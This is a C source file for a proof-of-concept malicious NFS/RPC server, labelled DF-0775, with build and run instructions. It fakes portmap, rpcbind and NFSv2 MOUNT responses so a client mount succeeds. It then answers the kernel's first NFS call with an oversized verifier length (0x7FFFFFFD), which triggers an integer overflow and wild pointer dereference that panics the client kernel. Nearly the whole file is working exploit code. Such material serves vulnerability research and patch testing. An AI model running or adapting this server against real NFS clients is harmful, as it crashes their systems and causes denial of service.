/*
 * DF-0775 — Malicious NFS/RPC server for triggering the client-side
 * reply verifier-length integer overflow in nfs_request_processreply()
 * (sys/vfs/nfs/nfs_socket.c:1498-1509).
 *
 * The bug: the NFS client reads verifier_len as a full int32_t from the
 * server reply with no bound check.  nfsm_rndup(len) = ((len)+3)&~3
 * wraps to INT_MIN for len in {0x7FFFFFFD,0x7FFFFFFE,0x7FFFFFFF}.
 * nfsm_adv(info, INT_MIN) then does info->dpos += INT_MIN, producing a
 * wild pointer; the subsequent nfsm_dissect() returns that wild pointer
 * and the kernel dereferences it (*tl==0 at line 1509).
 *
 * This server implements just enough of:
 *   - portmap v2 (UDP/TCP port 111) — returns NFS_PORT (2049) for all GETPORT
 *   - rpcbind v3/v4 — returns PROG_MISMATCH to force fallback to portmap v2
 *   - NFS NULL proc — valid reply (mount_nfs userspace probe)
 *   - NFSv2 MOUNT proc — valid reply with a 32-byte dummy file handle
 * so that `mount_nfs -2 -o tcp,port=2049 127.0.0.1:/x /mnt` succeeds in
 * userspace.  After mount(2), the KERNEL NFS client issues its first RPC
 * (e.g. GETATTR on the root file handle); we reply with verifier_len =
 * 0x7FFFFFFD, corrupting the kernel XDR cursor and panicking the client.
 *
 * Build:  cc -O2 -o malicious_server malicious_server.c
 * Run:    ./malicious_server          # listens on UDP/TCP 111 + TCP 2049
 */

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <errno.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/select.h>
#include <netinet/in.h>
#include <arpa/inet.h>

#define RPC_CALL         0
#define RPC_REPLY        1
#define RPC_MSG_ACCEPTED 0
#define RPC_MSG_DENIED   1
#define RPC_SUCCESS       0
#define RPC_PROG_MISMATCH 2

#define PROG_PORTMAP    100000
#define PROG_NFS        100003
#define PROG_MOUNT      100005
#define PROC_NULL       0
#define PROC_GETPORT    3   /* portmap v2 */

#define NFS_PORT        2049
#define PMAP_PORT       111

/* The malicious verifier length: nfsm_rndup wraps to INT_MIN. */
#define BAD_VERF_LEN    0x7FFFFFFDu

/* ---- low-level helpers ---- */

static int
readn(int fd, void *buf, size_t n)
{
    size_t off = 0;
    while (off < n) {
        ssize_t r = read(fd, (char *)buf + off, n - off);
        if (r <= 0) return -1;
        off += r;
    }
    return 0;
}

static int
writeall(int fd, const void *buf, size_t n)
{
    size_t off = 0;
    while (off < n) {
        ssize_t w = write(fd, (const char *)buf + off, n - off);
        if (w <= 0) return -1;
        off += w;
    }
    return 0;
}

static void
send_tcp_reply(int fd, const uint8_t *body, size_t bodylen)
{
    uint32_t rm = htonl(0x80000000u | (uint32_t)bodylen);
    writeall(fd, &rm, 4);
    writeall(fd, body, bodylen);
}

/* ---- build RPC replies ---- */

static size_t
build_valid_reply(uint8_t *out, uint32_t xid,
                  const uint8_t *extra, size_t extra_len)
{
    uint32_t *p = (uint32_t *)out;
    *p++ = htonl(xid);
    *p++ = htonl(RPC_REPLY);
    *p++ = htonl(RPC_MSG_ACCEPTED);
    *p++ = htonl(1);              /* verf_type = AUTH_SYS */
    *p++ = htonl(0);              /* verf_len = 0         */
    *p++ = htonl(RPC_SUCCESS);
    if (extra_len)
        memcpy(p, extra, extra_len);
    return 6 * 4 + extra_len;
}

static size_t
build_mismatch_reply(uint8_t *out, uint32_t xid,
                     uint32_t lo, uint32_t hi)
{
    uint32_t *p = (uint32_t *)out;
    *p++ = htonl(xid);
    *p++ = htonl(RPC_REPLY);
    *p++ = htonl(RPC_MSG_ACCEPTED);
    *p++ = htonl(1);              /* verf_type = AUTH_SYS */
    *p++ = htonl(0);              /* verf_len = 0         */
    *p++ = htonl(RPC_PROG_MISMATCH);
    *p++ = htonl(lo);
    *p++ = htonl(hi);
    return 8 * 4;
}

static size_t
build_evil_reply(uint8_t *out, uint32_t xid)
{
    uint32_t *p = (uint32_t *)out;
    *p++ = htonl(xid);
    *p++ = htonl(RPC_REPLY);
    *p++ = htonl(RPC_MSG_ACCEPTED);
    *p++ = htonl(1);              /* verf_type = AUTH_SYS */
    *p++ = htonl(BAD_VERF_LEN);   /* verf_len = 0x7FFFFFFD — triggers bug */
    return 5 * 4;
}

/* ---- RPC call dispatch ----
 *
 * Fills `reply` and returns its length.  Sets *evil=1 if the evil reply
 * was generated (kernel will die).
 */
static size_t
dispatch(const uint8_t *call, size_t calllen, uint8_t *reply, int *evil)
{
    *evil = 0;
    if (calllen < 24) return 0;

    const uint32_t *w = (const uint32_t *)call;
    uint32_t xid     = ntohl(w[0]);
    uint32_t msgtype = ntohl(w[1]);
    uint32_t prog    = ntohl(w[3]);
    uint32_t vers    = ntohl(w[4]);
    uint32_t proc    = ntohl(w[5]);

    if (msgtype != RPC_CALL)
        return 0;

    if (prog == PROG_PORTMAP) {
        if (proc == PROC_NULL) {
            return build_valid_reply(reply, xid, NULL, 0);
        } else if (vers == 2 && proc == PROC_GETPORT) {
            /* portmap v2 GETPORT: reply = unsigned long port */
            uint8_t extra[4];
            *(uint32_t *)extra = htonl(NFS_PORT);
            return build_valid_reply(reply, xid, extra, 4);
        } else {
            /* rpcbind v3/v4 — PROG_MISMATCH forces fallback to v2 */
            return build_mismatch_reply(reply, xid, 2, 2);
        }
    }

    if (prog == PROG_NFS) {
        if (proc == PROC_NULL) {
            return build_valid_reply(reply, xid, NULL, 0);
        }
        /* KERNEL RPC — send the malicious verifier */
        *evil = 1;
        return build_evil_reply(reply, xid);
    }

    if (prog == PROG_MOUNT) {
        if (proc == PROC_NULL) {
            return build_valid_reply(reply, xid, NULL, 0);
        }
        /* NFSv2 MOUNT reply: [status=0][fhandle 32 bytes] */
        uint8_t extra[4 + 32];
        *(uint32_t *)extra = htonl(0);
        memset(extra + 4, 0x41, 32);
        return build_valid_reply(reply, xid, extra, sizeof extra);
    }

    return build_valid_reply(reply, xid, NULL, 0);
}

static void
log_call(const uint8_t *call, size_t calllen, int evil)
{
    if (calllen < 24) return;
    const uint32_t *w = (const uint32_t *)call;
    uint32_t xid = ntohl(w[0]), prog = ntohl(w[3]);
    uint32_t vers = ntohl(w[4]), proc = ntohl(w[5]);
    if (evil)
        fprintf(stderr,
            "[EVIL] prog=%u vers=%u proc=%u xid=0x%08X "
            "-> verifier_len=0x%08X\n", prog, vers, proc, xid, BAD_VERF_LEN);
    else
        fprintf(stderr,
            "[ok]   prog=%u vers=%u proc=%u xid=0x%08X (%zu bytes)\n",
            prog, vers, proc, xid, calllen);
}

/* ---- TCP connection: record-marking protocol ---- */

static int
process_tcp_conn(int fd)
{
    for (;;) {
        uint8_t rm_buf[4];
        if (readn(fd, rm_buf, 4) < 0)
            return -1;
        uint32_t rm = ntohl(*(uint32_t *)rm_buf);
        uint32_t fraglen = rm & 0x7FFFFFFFu;
        if (fraglen > 65536) return -1;

        uint8_t buf[65536];
        if (readn(fd, buf, fraglen) < 0)
            return -1;

        int last = (rm >> 31) & 1;
        if (!last) continue;

        uint8_t reply[512];
        int evil = 0;
        size_t rlen = dispatch(buf, fraglen, reply, &evil);
        if (rlen == 0) continue;

        log_call(buf, fraglen, evil);
        send_tcp_reply(fd, reply, rlen);

        if (evil) return 1;   /* kernel will die — close up */
    }
}

/* ---- UDP datagram: no record marking ---- */

static void
process_udp(int fd)
{
    uint8_t buf[65536];
    struct sockaddr_in cli;
    socklen_t clen = sizeof cli;
    ssize_t n = recvfrom(fd, buf, sizeof buf, 0,
                         (struct sockaddr *)&cli, &clen);
    if (n <= 0) return;

    uint8_t reply[512];
    int evil = 0;
    size_t rlen = dispatch((uint8_t *)buf, (size_t)n, reply, &evil);
    if (rlen == 0) return;

    log_call((uint8_t *)buf, (size_t)n, evil);
    sendto(fd, reply, rlen, 0, (struct sockaddr *)&cli, clen);
}

/* ---- main ---- */

int
main(void)
{
    int lk_tcp_pmap, lk_tcp_nfs, lk_udp_pmap;

    lk_tcp_pmap = socket(AF_INET, SOCK_STREAM, 0);
    lk_tcp_nfs  = socket(AF_INET, SOCK_STREAM, 0);
    lk_udp_pmap = socket(AF_INET, SOCK_DGRAM, 0);
    if (lk_tcp_pmap < 0 || lk_tcp_nfs < 0 || lk_udp_pmap < 0) {
        perror("socket"); return 1;
    }

    int opt = 1;
    setsockopt(lk_tcp_pmap, SOL_SOCKET, SO_REUSEADDR, &opt, sizeof opt);
    setsockopt(lk_tcp_nfs,  SOL_SOCKET, SO_REUSEADDR, &opt, sizeof opt);
    setsockopt(lk_udp_pmap, SOL_SOCKET, SO_REUSEADDR, &opt, sizeof opt);

    struct sockaddr_in a;
    a.sin_family = AF_INET;
    a.sin_addr.s_addr = htonl(INADDR_LOOPBACK);

    a.sin_port = htons(PMAP_PORT);
    if (bind(lk_tcp_pmap, (struct sockaddr *)&a, sizeof a) < 0) {
        perror("bind tcp/111"); return 1; }
    a.sin_port = htons(PMAP_PORT);
    if (bind(lk_udp_pmap, (struct sockaddr *)&a, sizeof a) < 0) {
        perror("bind udp/111"); return 1; }
    a.sin_port = htons(NFS_PORT);
    if (bind(lk_tcp_nfs, (struct sockaddr *)&a, sizeof a) < 0) {
        perror("bind tcp/2049"); return 1; }

    listen(lk_tcp_pmap, 5);
    listen(lk_tcp_nfs, 5);

    fprintf(stderr,
        "DF-0775 malicious server: portmap=UDP+TCP/%d  nfs+mount=TCP/%d\n"
        "verifier_len will be 0x%08X on kernel NFS RPCs\n",
        PMAP_PORT, NFS_PORT, BAD_VERF_LEN);

    for (;;) {
        fd_set rfds;
        FD_ZERO(&rfds);
        FD_SET(lk_tcp_pmap, &rfds);
        FD_SET(lk_tcp_nfs,  &rfds);
        FD_SET(lk_udp_pmap, &rfds);
        int maxfd = lk_tcp_pmap;
        if (lk_tcp_nfs  > maxfd) maxfd = lk_tcp_nfs;
        if (lk_udp_pmap > maxfd) maxfd = lk_udp_pmap;

        int sel = select(maxfd + 1, &rfds, NULL, NULL, NULL);
        if (sel < 0) { if (errno == EINTR) continue; perror("select"); break; }

        if (FD_ISSET(lk_udp_pmap, &rfds)) {
            process_udp(lk_udp_pmap);
        }
        if (FD_ISSET(lk_tcp_pmap, &rfds)) {
            struct sockaddr_in c; socklen_t cl = sizeof c;
            int conn = accept(lk_tcp_pmap, (struct sockaddr *)&c, &cl);
            if (conn >= 0) {
                fprintf(stderr, "[portmap/tcp] connection from %s:%d\n",
                        inet_ntoa(c.sin_addr), ntohs(c.sin_port));
                process_tcp_conn(conn);
                close(conn);
            }
        }
        if (FD_ISSET(lk_tcp_nfs, &rfds)) {
            struct sockaddr_in c; socklen_t cl = sizeof c;
            int conn = accept(lk_tcp_nfs, (struct sockaddr *)&c, &cl);
            if (conn >= 0) {
                fprintf(stderr, "[nfs/tcp] connection from %s:%d\n",
                        inet_ntoa(c.sin_addr), ntohs(c.sin_port));
                process_tcp_conn(conn);
                close(conn);
            }
        }
    }
    return 0;
}
